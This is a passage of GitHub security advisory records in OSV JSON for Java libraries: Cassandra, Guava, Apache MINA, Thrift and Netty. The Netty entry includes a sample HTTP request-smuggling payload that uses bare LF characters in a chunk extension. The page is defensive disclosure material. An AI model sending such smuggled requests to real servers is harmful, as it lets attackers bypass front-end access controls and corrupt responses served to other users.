{
"package": {
"ecosystem": "Maven",
"name": "org.apache.cassandra:cassandra-all"
},
"ranges": [
{
"events": [
{
"introduced": "4.0"
},
{
"fixed": "4.0.20"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-27315"
],
"database_specific": {
"cwe_ids": [
"CWE-532"
],
"github_reviewed": true,
"github_reviewed_at": "2026-04-08T19:31:30Z",
"nvd_published_at": "2026-04-07T17:16:27Z",
"severity": "MODERATE"
},
"details": "Sensitive Information Leak in cqlsh in Apache Cassandra 4.0 allows access to sensitive information, like passwords, from previously executed cqlsh command via \u00a0~/.cassandra/cqlsh_history\u00a0local file access.\n\nUsers are recommended to upgrade to version 4.0.20, which fixes this issue.\n\n--\nDescription: Cassandra\u0027s command-line tool, cqlsh, provides a command history feature that allows users to recall previously executed commands using the up/down arrow keys. These history records are saved in the ~/.cassandra/cqlsh_history file in the user\u0027s home directory.\n\nHowever, cqlsh does not redact sensitive information when saving command history. This means that if a user executes operations involving passwords (such as logging in or creating users) within cqlsh, these passwords are permanently stored in cleartext in the history file on the disk.",
"id": "GHSA-fh34-c629-p8xj",
"modified": "2026-04-08T19:31:30Z",
"published": "2026-04-07T18:31:37Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-27315"
},
{
"type": "PACKAGE",
"url": "https://github.com/apache/cassandra"
},
{
"type": "WEB",
"url": "https://issues.apache.org/jira/browse/CASSANDRA-21180"
},
{
"type": "WEB",
"url": "https://lists.apache.org/thread/ft77zrk2mzt8qsch4g6jqjj4901d22k3"
},
{
"type": "WEB",
"url": "http://www.openwall.com/lists/oss-security/2026/04/07/8"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "Apache Cassandra has sensitive Information Leak in cqlsh"
}
GHSA-5MG8-W23W-74H3
Vulnerability from github – Published: 2021-03-25 17:04 – Updated: 2026-02-23 22:45A temp directory creation vulnerability exists in Guava prior to version 32.0.0 allowing an attacker with access to the machine to potentially access data in a temporary directory created by the Guava com.google.common.io.Files.createTempDir(). The permissions granted to the directory created default to the standard unix-like /tmp ones, leaving the files open. Maintainers recommend explicitly changing the permissions after the creation of the directory, or removing uses of the vulnerable method.
{
"affected": [
{
"package": {
"ecosystem": "Maven",
"name": "com.google.guava:guava"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "32.0.0-android"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2020-8908"
],
"database_specific": {
"cwe_ids": [
"CWE-173",
"CWE-200",
"CWE-378",
"CWE-732"
],
"github_reviewed": true,
"github_reviewed_at": "2021-03-25T17:01:09Z",
"nvd_published_at": "2020-12-10T23:15:00Z",
"severity": "LOW"
},
"details": "A temp directory creation vulnerability exists in Guava prior to version 32.0.0 allowing an attacker with access to the machine to potentially access data in a temporary directory created by the Guava `com.google.common.io.Files.createTempDir()`. The permissions granted to the directory created default to the standard unix-like /tmp ones, leaving the files open. Maintainers recommend explicitly changing the permissions after the creation of the directory, or removing uses of the vulnerable method.",
"id": "GHSA-5mg8-w23w-74h3",
"modified": "2026-02-23T22:45:53Z",
"published": "2021-03-25T17:04:19Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2020-8908"
},
{
"type": "WEB",
"url": "https://github.com/google/guava/issues/4011"
},
{
"type": "WEB",
"url": "https://github.com/google/guava/issues/4011#issuecomment-1578991974"
},
{
"type": "WEB",
"url": "https://github.com/google/guava/commit/feb83a1c8fd2e7670b244d5afd23cba5aca43284"
},
{
"type": "WEB",
"url": "https://github.com/google/guava/commit/fec0dbc4634006a6162cfd4d0d09c962073ddf40"
},
{
"type": "WEB",
"url": "https://lists.apache.org/thread.html/rd5d58088812cf8e677d99b07f73c654014c524c94e7fedbdee047604@%3Ctorque-dev.db.apache.org%3E"
},
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},
{
"type": "WEB",
"url": "https://www.oracle.com/security-alerts/cpuoct2021.html"
},
{
"type": "WEB",
"url": "https://www.oracle.com/security-alerts/cpujan2022.html"
},
{
"type": "WEB",
"url": "https://www.oracle.com/security-alerts/cpuapr2022.html"
},
{
"type": "WEB",
"url": "https://www.oracle.com/security-alerts/cpuApr2021.html"
},
{
"type": "WEB",
"url": "https://www.oracle.com//security-alerts/cpujul2021.html"
},
{
"type": "WEB",
"url": "https://snyk.io/vuln/SNYK-JAVA-COMGOOGLEGUAVA-1015415"
},
{
"type": "WEB",
"url": "https://security.netapp.com/advisory/ntap-20220210-0003"
},
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},
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},
{
"type": "WEB",
"url": "https://lists.apache.org/thread.html/r58a8775205ab1839dba43054b09a9ab3b25b423a4170b2413c4067ac%40%3Ccommon-issues.hadoop.apache.org%3E"
},
{
"type": "WEB",
"url": "https://lists.apache.org/thread.html/r49549a8322f62cd3acfa4490d25bfba0be04f3f9ff4d14fe36199d27@%3Cyarn-dev.hadoop.apache.org%3E"
},
{
"type": "WEB",
"url": "https://lists.apache.org/thread.html/r49549a8322f62cd3acfa4490d25bfba0be04f3f9ff4d14fe36199d27%40%3Cyarn-dev.hadoop.apache.org%3E"
},
{
"type": "WEB",
"url": "https://lists.apache.org/thread.html/r4776f62dfae4a0006658542f43034a7fc199350e35a66d4e18164ee6@%3Ccommits.cxf.apache.org%3E"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N",
"type": "CVSS_V3"
}
],
"summary": "Information Disclosure in Guava"
}
GHSA-8297-V2RF-2P32
Vulnerability from github – Published: 2026-04-27 09:34 – Updated: 2026-05-07 05:27Apache MINA's AbstractIoBuffer.resolveClass() contains two branches, one of them (for static classes or primitive types) does not check the class at all, bypassing the classname allowlist and allowing arbitrary code to be executed.
The fix checks if the class is present in the accepted class filter before calling Class.forName().
Affected versions are Apache MINA 2.0.0 <= 2.0.27, 2.1.0 <= 2.1.10, and 2.2.0 <= 2.2.5.
The problem is resolved in Apache MINA 2.0.28, 2.1.11, and 2.2.6 by applying the classname allowlist earlier.
Affected are applications using Apache MINA that call IoBuffer.getObject().
Applications using Apache MINA are advised to upgrade.
{
"affected": [
{
"package": {
"ecosystem": "Maven",
"name": "org.apache.mina:mina-core"
},
"ranges": [
{
"events": [
{
"introduced": "2.0.0"
},
{
"fixed": "2.0.28"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Maven",
"name": "org.apache.mina:mina-core"
},
"ranges": [
{
"events": [
{
"introduced": "2.1.0"
},
{
"fixed": "2.1.11"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Maven",
"name": "org.apache.mina:mina-core"
},
"ranges": [
{
"events": [
{
"introduced": "2.2.0"
},
{
"fixed": "2.2.6"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-41635"
],
"database_specific": {
"cwe_ids": [
"CWE-502"
],
"github_reviewed": true,
"github_reviewed_at": "2026-05-07T05:27:52Z",
"nvd_published_at": "2026-04-27T09:16:01Z",
"severity": "CRITICAL"
},
"details": "Apache MINA\u0027s AbstractIoBuffer.resolveClass() contains two branches, one of them (for static classes or primitive types) does not check the class at all, bypassing the classname allowlist and allowing arbitrary code to be executed.\n\nThe fix checks if the class is present in the accepted class filter\u00a0before calling\u00a0Class.forName().\u00a0\n\nAffected versions are Apache MINA 2.0.0 \u003c= 2.0.27, 2.1.0 \u003c= 2.1.10, and 2.2.0 \u003c= 2.2.5.\n\nThe problem is resolved in Apache MINA 2.0.28, 2.1.11, and 2.2.6 by applying the classname allowlist earlier.\n\nAffected are applications using Apache MINA that call\u00a0IoBuffer.getObject().\n\nApplications using Apache MINA are advised to upgrade.",
"id": "GHSA-8297-v2rf-2p32",
"modified": "2026-05-07T05:27:52Z",
"published": "2026-04-27T09:34:39Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-41635"
},
{
"type": "PACKAGE",
"url": "https://github.com/apache/mina"
},
{
"type": "WEB",
"url": "https://lists.apache.org/thread/1l91w1mqsb3lwfd504fs045ylxntt2tm"
},
{
"type": "WEB",
"url": "http://www.openwall.com/lists/oss-security/2026/04/27/4"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "Apache MINA vulnerable to Deserialization of Untrusted Data"
}
GHSA-QFFM-GF3J-6MVG
Vulnerability from github – Published: 2026-04-07 18:31 – Updated: 2026-04-08 19:31Authenticated DoS over CQL in Apache Cassandra 4.0, 4.1, 5.0 allows authenticated user to raise query latencies via repeated password changes. Users are recommended to upgrade to version 4.0.20, 4.1.11, 5.0.7, which fixes this issue.
{
"affected": [
{
"package": {
"ecosystem": "Maven",
"name": "org.apache.cassandra:cassandra-all"
},
"ranges": [
{
"events": [
{
"introduced": "4.0"
},
{
"fixed": "4.0.20"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Maven",
"name": "org.apache.cassandra:cassandra-all"
},
"ranges": [
{
"events": [
{
"introduced": "4.1"
},
{
"fixed": "4.1.11"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Maven",
"name": "org.apache.cassandra:cassandra-all"
},
"ranges": [
{
"events": [
{
"introduced": "5.0"
},
{
"fixed": "5.0.7"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-32588"
],
"database_specific": {
"cwe_ids": [
"CWE-400"
],
"github_reviewed": true,
"github_reviewed_at": "2026-04-08T19:31:59Z",
"nvd_published_at": "2026-04-07T17:16:28Z",
"severity": "LOW"
},
"details": "Authenticated DoS over CQL in Apache Cassandra 4.0, 4.1, 5.0 allows authenticated user to raise query latencies via repeated password changes.\nUsers are recommended to upgrade to version 4.0.20, 4.1.11, 5.0.7, which fixes this issue.",
"id": "GHSA-qffm-gf3j-6mvg",
"modified": "2026-04-08T19:31:59Z",
"published": "2026-04-07T18:31:37Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-32588"
},
{
"type": "WEB",
"url": "https://lists.apache.org/thread/2tnwjdnss378glxrsmnlzz3k53ftphrc"
},
{
"type": "WEB",
"url": "http://www.openwall.com/lists/oss-security/2026/04/07/9"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "Apache Cassandra has an authenticated DoS over CQL"
}
GHSA-WJXJ-F8RG-99WX
Vulnerability from github – Published: 2019-01-17 13:56 – Updated: 2024-03-04 20:36Apache Thrift Java client library versions 0.5.0 prior to 0.9.3-1 and 0.10.0 prior to 0.12.0 can bypass SASL negotiation isComplete validation in the org.apache.thrift.transport.TSaslTransport class. An assert used to determine if the SASL handshake had successfully completed could be disabled in production settings making the validation incomplete.
{
"affected": [
{
"package": {
"ecosystem": "Maven",
"name": "org.apache.thrift:libthrift"
},
"ranges": [
{
"events": [
{
"introduced": "0.5.0"
},
{
"fixed": "0.9.3-1"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Maven",
"name": "org.apache.thrift:libthrift"
},
"ranges": [
{
"events": [
{
"introduced": "0.10.0"
},
{
"fixed": "0.12.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2018-1320"
],
"database_specific": {
"cwe_ids": [
"CWE-20",
"CWE-295"
],
"github_reviewed": true,
"github_reviewed_at": "2020-06-16T22:00:45Z",
"nvd_published_at": "2019-01-07T17:29:00Z",
"severity": "HIGH"
},
"details": "Apache Thrift Java client library versions 0.5.0 prior to 0.9.3-1 and 0.10.0 prior to 0.12.0 can bypass SASL negotiation isComplete validation in the org.apache.thrift.transport.TSaslTransport class. An assert used to determine if the SASL handshake had successfully completed could be disabled in production settings making the validation incomplete.",
"id": "GHSA-wjxj-f8rg-99wx",
"modified": "2024-03-04T20:36:08Z",
"published": "2019-01-17T13:56:40Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2018-1320"
},
{
"type": "WEB",
"url": "https://github.com/apache/thrift/commit/7489ed6ac8bad64e72fa83ec9d53e1eeddca6c23"
},
{
"type": "WEB",
"url": "https://github.com/apache/thrift/commit/d973409661f820d80d72c0034d06a12348c8705e"
},
{
"type": "WEB",
"url": "https://www.oracle.com/technetwork/security-advisory/cpuoct2019-5072832.html"
},
{
"type": "WEB",
"url": "https://www.oracle.com/security-alerts/cpuapr2020.html"
},
{
"type": "WEB",
"url": "https://web.archive.org/web/20200227094237/http://www.securityfocus.com/bid/106551"
},
{
"type": "WEB",
"url": "https://support.f5.com/csp/article/K36361684"
},
{
"type": "WEB",
"url": "https://lists.debian.org/debian-lts-announce/2019/02/msg00008.html"
},
{
"type": "WEB",
"url": "https://lists.apache.org/thread.html/r4d3f1d3e333d9c2b2f6e6ae8ed8750d4de03410ac294bcd12c7eefa3@%3Ccommits.cassandra.apache.org%3E"
},
{
"type": "WEB",
"url": "https://lists.apache.org/thread.html/r3d71a6dbb063aa61ba81278fe622b20bfe7501bb3821c27695641ac3@%3Ccommits.cassandra.apache.org%3E"
},
{
"type": "WEB",
"url": "https://lists.apache.org/thread.html/r261972a3b14cf6f1dcd94b1b265e9ef644a38ccdf0d0238fa0c4d459@%3Ccommits.cassandra.apache.org%3E"
},
{
"type": "WEB",
"url": "https://lists.apache.org/thread.html/r2278846f7ab06ec07a0aa31457235e0ded9191b216cba55f3f315f16@%3Ccommits.cassandra.apache.org%3E"
},
{
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"url": "https://lists.apache.org/thread.html/r1015eaadef8314daa9348aa423086a732cfeb998ceb5d42605c9b0b5@%3Ccommits.cassandra.apache.org%3E"
},
{
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"url": "https://lists.apache.org/thread.html/r09c3dcdccf4b74ad13bda79b354e6b793255ccfe245cca1b8cee23f5@%3Ccommits.cassandra.apache.org%3E"
},
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"url": "https://lists.apache.org/thread.html/f9bc3e55f4e28d1dcd1a69aae6d53e609a758e34d2869b4d798e13cc@%3Cissues.drill.apache.org%3E"
},
{
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"url": "https://lists.apache.org/thread.html/e825ff2f4e129c0ecdb6a19030b53c1ccdf810a8980667628d0c6a80@%3Cannounce.apache.org%3E"
},
{
"type": "WEB",
"url": "https://lists.apache.org/thread.html/dfee89880c84874058c6a584d8128468f8d3c2ac25068ded91073adc@%3Cuser.storm.apache.org%3E"
},
{
"type": "WEB",
"url": "https://lists.apache.org/thread.html/dbe3a39b48900318ad44494e8721f786901ba4520cd412c7698f534f@%3Cdev.storm.apache.org%3E"
},
{
"type": "WEB",
"url": "https://lists.apache.org/thread.html/da5234b5e78f1c99190407f791dfe1bf6c58de8d30d15974a9669be3@%3Cuser.thrift.apache.org%3E"
},
{
"type": "WEB",
"url": "https://lists.apache.org/thread.html/b0656d359c7d40ec9f39c8cc61bca66802ef9a2a12ee199f5b0c1442@%3Cdev.drill.apache.org%3E"
},
{
"type": "WEB",
"url": "https://lists.apache.org/thread.html/8be5b16c02567fff61b1284e5df433a4e38617bc7de4804402bf62be@%3Ccommits.cassandra.apache.org%3E"
},
{
"type": "WEB",
"url": "https://lists.apache.org/thread.html/6b07f6f618155c777191b4fad8ade0f0cf4ed4c12a1a746ce903d816@%3Ccommits.cassandra.apache.org%3E"
},
{
"type": "WEB",
"url": "https://lists.apache.org/thread.html/519eb0fd45642dcecd9ff74cb3e71c20a4753f7d82e2f07864b5108f@%3Cdev.drill.apache.org%3E"
},
{
"type": "WEB",
"url": "https://lists.apache.org/thread.html/3d3b6849fcf4cd1e87703b3dde0d57aabeb9ba0193dc0cf3c97f545d@%3Ccommits.cassandra.apache.org%3E"
},
{
"type": "WEB",
"url": "https://lists.apache.org/thread.html/187684ac8b94d55256253f5220cb55e8bd568afdf9a8a86e9bbb66c9@%3Cdevnull.infra.apache.org%3E"
},
{
"type": "WEB",
"url": "https://lists.apache.org/thread.html/07c3cd5a2953a4b253eee4437b1397b1603d0f886437e19b657d2c54@%3Ccommits.cassandra.apache.org%3E"
},
{
"type": "WEB",
"url": "https://issues.apache.org/jira/browse/THRIFT-4506"
},
{
"type": "WEB",
"url": "https://github.com/apache/thrift/releases/tag/0.9.3.1"
},
{
"type": "PACKAGE",
"url": "https://github.com/apache/thrift"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2019:2413"
},
{
"type": "WEB",
"url": "http://www.openwall.com/lists/oss-security/2019/07/24/3"
},
{
"type": "WEB",
"url": "http://www.securityfocus.com/bid/106551"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N",
"type": "CVSS_V3"
}
],
"summary": "Improper Input Validation in Apache Thrift"
}
GHSA-MVR2-9PJ6-7W5J
Vulnerability from github – Published: 2020-06-15 20:35 – Updated: 2023-09-07 22:25Unbounded memory allocation in Google Guava 11.0 through 24.x before 24.1.1 allows remote attackers to conduct denial of service attacks against servers that depend on this library and deserialize attacker-provided data, because the AtomicDoubleArray class (when serialized with Java serialization) and the CompoundOrdering class (when serialized with GWT serialization) perform eager allocation without appropriate checks on what a client has sent and whether the data size is reasonable.
{
"affected": [
{
"package": {
"ecosystem": "Maven",
"name": "com.google.guava:guava"
},
"ranges": [
{
"events": [
{
"introduced": "11.0"
},
{
"fixed": "24.1.1-android"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Maven",
"name": "com.google.guava:guava-jdk5"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"last_affected": "17.0"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Maven",
"name": "com.googlecode.guava-osgi:guava-osgi"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"last_affected": "11.0.1"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Maven",
"name": "de.mhus.ports:vaadin-shared-deps"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"last_affected": "7.4.0"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Maven",
"name": "org.hudsonci.lib.guava:guava"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"last_affected": "14.0.1-h-3"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Maven",
"name": "org.sonatype.sisu:sisu-guava"
},
"versions": [
"0.11.1"
]
}
],
"aliases": [
"CVE-2018-10237"
],
"database_specific": {
"cwe_ids": [
"CWE-502",
"CWE-770"
],
"github_reviewed": true,
"github_reviewed_at": "2020-06-11T18:34:57Z",
"nvd_published_at": "2018-04-26T21:29:00Z",
"severity": "MODERATE"
},
"details": "Unbounded memory allocation in Google Guava 11.0 through 24.x before 24.1.1 allows remote attackers to conduct denial of service attacks against servers that depend on this library and deserialize attacker-provided data, because the AtomicDoubleArray class (when serialized with Java serialization) and the CompoundOrdering class (when serialized with GWT serialization) perform eager allocation without appropriate checks on what a client has sent and whether the data size is reasonable.",
"id": "GHSA-mvr2-9pj6-7w5j",
"modified": "2023-09-07T22:25:36Z",
"published": "2020-06-15T20:35:11Z",
"references": [
{
"type": "ADVISORY",
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},
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"url": "https://lists.apache.org/thread.html/rc8467f357b943ceaa86f289f8bc1a5d1c7955b75d3bac1426f2d4ac1@%3Ccommon-dev.hadoop.apache.org%3E"
},
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},
{
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},
{
"type": "WEB",
"url": "https://security.netapp.com/advisory/ntap-20220629-0008"
},
{
"type": "WEB",
"url": "https://www.oracle.com/security-alerts/cpuapr2020.html"
},
{
"type": "WEB",
"url": "https://www.oracle.com/security-alerts/cpujan2021.html"
},
{
"type": "WEB",
"url": "https://www.oracle.com/security-alerts/cpujul2020.html"
},
{
"type": "WEB",
"url": "https://www.oracle.com/security-alerts/cpuoct2021.html"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2018:2424"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2018:2425"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2018:2428"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2018:2598"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2018:2643"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2018:2740"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2018:2741"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2018:2742"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2018:2743"
},
{
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"url": "https://access.redhat.com/errata/RHSA-2018:2927"
},
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"url": "https://access.redhat.com/errata/RHSA-2019:2858"
},
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"url": "https://access.redhat.com/errata/RHSA-2019:3149"
},
{
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"url": "https://github.com/google/guava"
},
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"url": "https://github.com/google/guava/wiki/CVE-2018-10237"
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"url": "https://groups.google.com/d/topic/guava-announce/xqWALw4W1vs/discussion"
},
{
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"url": "https://lists.apache.org/thread.html/053d9ce4d579b02203db18545fee5e33f35f2932885459b74d1e4272@%3Cissues.activemq.apache.org%3E"
},
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"url": "https://lists.apache.org/thread.html/cc48fe770c45a74dc3b37ed0817393e0c96701fc49bc431ed922f3cc@%3Chdfs-dev.hadoop.apache.org%3E"
},
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"url": "https://lists.apache.org/thread.html/f9bc3e55f4e28d1dcd1a69aae6d53e609a758e34d2869b4d798e13cc@%3Cissues.drill.apache.org%3E"
},
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"url": "https://lists.apache.org/thread.html/ff8dcfe29377088ab655fda9d585dccd5b1f07fabd94ae84fd60a7f8@%3Ccommits.pulsar.apache.org%3E"
},
{
"type": "WEB",
"url": "https://lists.apache.org/thread.html/r02e39d7beb32eebcdbb4b516e95f67d71c90d5d462b26f4078d21eeb@%3Cdev.flink.apache.org%3E"
},
{
"type": "WEB",
"url": "https://lists.apache.org/thread.html/r02e39d7beb32eebcdbb4b516e95f67d71c90d5d462b26f4078d21eeb@%3Cuser.flink.apache.org%3E"
},
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"type": "WEB",
"url": "http://www.securitytracker.com/id/1041707"
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"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
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"summary": "Denial of Service in Google Guava"
}
GHSA-FGHV-69VJ-QJ49
Vulnerability from github – Published: 2025-09-04 17:35 – Updated: 2025-09-10 20:48Summary
A flaw in netty's parsing of chunk extensions in HTTP/1.1 messages with chunked encoding can lead to request smuggling issues with some reverse proxies.
Details
When encountering a newline character (LF) while parsing a chunk extension, netty interprets the newline as the end of the chunk-size line regardless of whether a preceding carriage return (CR) was found. This is in violation of the HTTP 1.1 standard which specifies that the chunk extension is terminated by a CRLF sequence (see the RFC).
This is by itself harmless, but consider an intermediary with a similar parsing flaw: while parsing a chunk extension, the intermediary interprets an LF without a preceding CR as simply part of the chunk extension (this is also in violation of the RFC, because whitespace characters are not allowed in chunk extensions). We can use this discrepancy to construct an HTTP request that the intermediary will interpret as one request but netty will interpret as two (all lines ending with CRLF, notice the LFs in the chunk extension):
POST /one HTTP/1.1
Host: localhost:8080
Transfer-Encoding: chunked
48;\nAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\n0
POST /two HTTP/1.1
Host: localhost:8080
Transfer-Encoding: chunked
0
The intermediary will interpret this as a single request. Once forwarded to netty, netty will interpret it as two separate requests. This is a problem, because attackers can then the intermediary, as well as perform standard request smuggling attacks against other live users (see this Portswigger article).
Impact
This is a request smuggling issue which can be exploited for bypassing front-end access control rules as well as corrupting the responses served to other live clients.
The impact is high, but it only affects setups that use a front-end which: 1. Interprets LF characters (without preceding CR) in chunk extensions as part of the chunk extension. 2. Forwards chunk extensions without normalization.
Disclosure
- This vulnerability was disclosed on June 18th, 2025 here: https://w4ke.info/2025/06/18/funky-chunks.html
Discussion
Discussion for this vulnerability can be found here: - https://github.com/netty/netty/issues/15522 - https://github.com/JLLeitschuh/unCVEed/issues/1
Credit
- Credit to @JeppW for uncovering this vulnerability.
- Credit to @JLLeitschuh at Socket for coordinating the vulnerability disclosure.
{
"affected": [
{
"package": {
"ecosystem": "Maven",
"name": "io.netty:netty-codec-http"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "4.1.125.Final"
}
],
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]
},
{
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"name": "io.netty:netty-codec-http"
},
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},
{
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}
],
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}
]
}
],
"aliases": [
"CVE-2025-58056"
],
"database_specific": {
"cwe_ids": [
"CWE-444"
],
"github_reviewed": true,
"github_reviewed_at": "2025-09-04T17:35:20Z",
"nvd_published_at": "2025-09-03T21:15:33Z",
"severity": "LOW"
},
"details": "## Summary\nA flaw in netty\u0027s parsing of chunk extensions in HTTP/1.1 messages with chunked encoding can lead to request smuggling issues with some reverse proxies.\n\n## Details\nWhen encountering a newline character (LF) while parsing a chunk extension, netty interprets the newline as the end of the chunk-size line regardless of whether a preceding carriage return (CR) was found. This is in violation of the HTTP 1.1 standard which specifies that the chunk extension is terminated by a CRLF sequence (see the [RFC](https://datatracker.ietf.org/doc/html/rfc9112#name-chunked-transfer-coding)).\n\nThis is by itself harmless, but consider an intermediary with a similar parsing flaw: while parsing a chunk extension, the intermediary interprets an LF without a preceding CR as simply part of the chunk extension (this is also in violation of the RFC, because whitespace characters are not allowed in chunk extensions). We can use this discrepancy to construct an HTTP request that the intermediary will interpret as one request but netty will interpret as two (all lines ending with CRLF, notice the LFs in the chunk extension):\n\n```\nPOST /one HTTP/1.1\nHost: localhost:8080\nTransfer-Encoding: chunked\n\n48;\\nAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\\n0\n\nPOST /two HTTP/1.1\nHost: localhost:8080\nTransfer-Encoding: chunked\n\n0\n\n```\n\nThe intermediary will interpret this as a single request. Once forwarded to netty, netty will interpret it as two separate requests. This is a problem, because attackers can then the intermediary, as well as perform standard request smuggling attacks against other live users (see [this Portswigger article](https://portswigger.net/web-security/request-smuggling/exploiting)).\n\n## Impact\nThis is a request smuggling issue which can be exploited for bypassing front-end access control rules as well as corrupting the responses served to other live clients.\n\nThe impact is high, but it only affects setups that use a front-end which:\n1. Interprets LF characters (without preceding CR) in chunk extensions as part of the chunk extension.\n2. Forwards chunk extensions without normalization.\n\n## Disclosure\n\n - This vulnerability was disclosed on June 18th, 2025 here: https://w4ke.info/2025/06/18/funky-chunks.html\n\n## Discussion\nDiscussion for this vulnerability can be found here:\n - https://github.com/netty/netty/issues/15522\n - https://github.com/JLLeitschuh/unCVEed/issues/1\n\n## Credit\n\n - Credit to @JeppW for uncovering this vulnerability.\n - Credit to @JLLeitschuh at [Socket](https://socket.dev/) for coordinating the vulnerability disclosure.",
"id": "GHSA-fghv-69vj-qj49",
"modified": "2025-09-10T20:48:05Z",
"published": "2025-09-04T17:35:20Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/netty/netty/security/advisories/GHSA-fghv-69vj-qj49"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-58056"
},
{
"type": "WEB",
"url": "https://github.com/JLLeitschuh/unCVEed/issues/1"
},
{
"type": "WEB",
"url": "https://github.com/netty/netty/issues/15522"
},
{
"type": "WEB",
"url": "https://github.com/github/advisory-database/pull/6092"
},
{
"type": "WEB",
"url": "https://github.com/netty/netty/pull/15611"
},
{
"type": "WEB",
"url": "https://github.com/netty/netty/commit/edb55fd8e0a3bcbd85881e423464f585183d1284"
},
{
"type": "WEB",
"url": "https://datatracker.ietf.org/doc/html/rfc9112#name-chunked-transfer-coding"
},
{
"type": "PACKAGE",
"url": "https://github.com/netty/netty"
},
{
"type": "WEB",
"url": "https://w4ke.info/2025/06/18/funky-chunks.html"
}
],
"schema_version": "1.4.0",
"severity": [],
"summary": "Netty vulnerable to request smuggling due to incorrect parsing of chunk extensions"
}
GHSA-7G45-4RM6-3MM3
Vulnerability from github – Published: 2023-06-14 18:30 – Updated: 2025-11-04 16:44Use of Java's default temporary directory for file creation in FileBackedOutputStream in Google Guava versions 1.0 to 31.1 on Unix systems and Android Ice Cream Sandwich allows other users and apps on the machine with access to the default Java temporary directory to be able to access the files created by the class.
Even though the security vulnerability is fixed in version 32.0.0, maintainers recommend using version 32.0.1 as version 32.0.0 breaks some functionality under Windows.
{
"affected": [
{
"package": {
"ecosystem": "Maven",
"name": "com.google.guava:guava"
},
"ranges": [
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"introduced": "1.0"
},
{
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}
],
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}
]
}
],
"aliases": [
"CVE-2023-2976"
],
"database_specific": {
"cwe_ids": [
"CWE-379",
"CWE-552"
],
"github_reviewed": true,
"github_reviewed_at": "2023-06-14T21:01:07Z",
"nvd_published_at": "2023-06-14T18:15:09Z",
"severity": "MODERATE"
},
"details": "Use of Java\u0027s default temporary directory for file creation in `FileBackedOutputStream` in Google Guava versions 1.0 to 31.1 on Unix systems and Android Ice Cream Sandwich allows other users and apps on the machine with access to the default Java temporary directory to be able to access the files created by the class.\n\nEven though the security vulnerability is fixed in version 32.0.0, maintainers recommend using version 32.0.1 as version 32.0.0 breaks some functionality under Windows.",
"id": "GHSA-7g45-4rm6-3mm3",
"modified": "2025-11-04T16:44:26Z",
"published": "2023-06-14T18:30:38Z",
"references": [
{
"type": "ADVISORY",
